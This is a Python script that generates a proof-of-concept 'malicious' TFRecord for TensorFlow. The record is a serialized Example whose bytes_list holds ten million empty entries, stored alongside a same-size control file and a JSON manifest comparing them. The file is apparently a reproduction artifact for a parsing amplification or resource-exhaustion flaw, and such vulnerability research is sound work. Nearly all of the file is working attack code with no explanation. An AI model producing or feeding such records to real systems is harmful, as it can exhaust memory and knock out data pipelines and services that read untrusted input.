#!/usr/bin/env python3
from __future__ import annotations

import json
import os
import subprocess
import sys
from pathlib import Path


ROOT = Path(__file__).resolve().parent
ARTIFACTS = ROOT / "artifacts"
ENTRY_COUNT = 10_000_000
TF_PYTHON = Path(os.environ.get("TF_PYTHON_BIN", sys.executable))

WORKER = r"""
import json, sys, tensorflow as tf

def malicious_payload(count: int) -> bytes:
    ex = tf.train.Example()
    ex.features.feature["x"].bytes_list.value.extend([b""] * count)
    return ex.SerializeToString()

def control_payload(target_payload_len: int) -> bytes:
    ex = tf.train.Example()
    ex.features.feature["x"].bytes_list.value.append(b"A" * target_payload_len)
    return ex.SerializeToString()

count = int(sys.argv[1])
target_payload_len = int(sys.argv[2])
malicious = malicious_payload(count)
control = control_payload(target_payload_len)
print(json.dumps({
    "tensorflow_version": tf.__version__,
    "malicious_hex": malicious.hex(),
    "control_hex": control.hex(),
}))
"""


def write_record(path: Path, payload: bytes) -> None:
    payload_path = path.with_suffix(path.suffix + ".payload")
    payload_path.write_bytes(payload)
    script = (
        "import tensorflow as tf, pathlib; "
        "p = pathlib.Path(r'%s'); "
        "payload = pathlib.Path(r'%s').read_bytes(); "
        "w = tf.io.TFRecordWriter(str(p)); "
        "w.write(payload); "
        "w.close()"
    ) % (str(path), str(payload_path))
    cp = subprocess.run(
        [str(TF_PYTHON), "-c", script],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True,
        timeout=240,
        check=False,
    )
    payload_path.unlink(missing_ok=True)
    if cp.returncode != 0:
        raise RuntimeError(cp.stderr[-2000:] or cp.stdout[-1000:])


def build_control_same_size(target_size: int) -> int:
    low = 1
    high = target_size
    best = None
    while low <= high:
        mid = (low + high) // 2
        size = mid + 44
        if size == target_size:
            return mid
        if size < target_size:
            best = mid
            low = mid + 1
        else:
            high = mid - 1
    for mid in range(max(1, (best or 1) - 128), (best or 1) + 129):
        if mid + 44 == target_size:
            return mid
    raise RuntimeError("failed to build same-size control TFRecord")


def main() -> int:
    ARTIFACTS.mkdir(parents=True, exist_ok=True)
    control_value_len = build_control_same_size(20_000_039)
    cp = subprocess.run(
        [str(TF_PYTHON), "-c", WORKER, str(ENTRY_COUNT), str(control_value_len)],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True,
        timeout=240,
        check=False,
    )
    if cp.returncode != 0:
        raise RuntimeError(cp.stderr[-2000:] or cp.stdout[-1000:])
    payloads = json.loads(cp.stdout)
    control = bytes.fromhex(payloads["control_hex"])
    malicious = bytes.fromhex(payloads["malicious_hex"])

    control_path = ARTIFACTS / "control_same_size.tfrecords"
    malicious_path = ARTIFACTS / "malicious_example_byteslist_10000000.tfrecords"
    write_record(control_path, control)
    write_record(malicious_path, malicious)

    manifest = {
        "entry_count": ENTRY_COUNT,
        "tensorflow_version": payloads["tensorflow_version"],
        "tensorflow_python": str(TF_PYTHON),
        "control": {
            "path": str(control_path),
            "size": control_path.stat().st_size,
            "bytes_list_count": 1,
            "first_value_len": control_value_len,
        },
        "malicious": {
            "path": str(malicious_path),
            "size": malicious_path.stat().st_size,
            "bytes_list_count": ENTRY_COUNT,
            "first_value_len": 0,
        },
        "same_size_files": control_path.stat().st_size == malicious_path.stat().st_size,
    }
    (ARTIFACTS / "manifest.json").write_text(json.dumps(manifest, indent=2) + "\n")
    print(json.dumps(manifest, indent=2))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())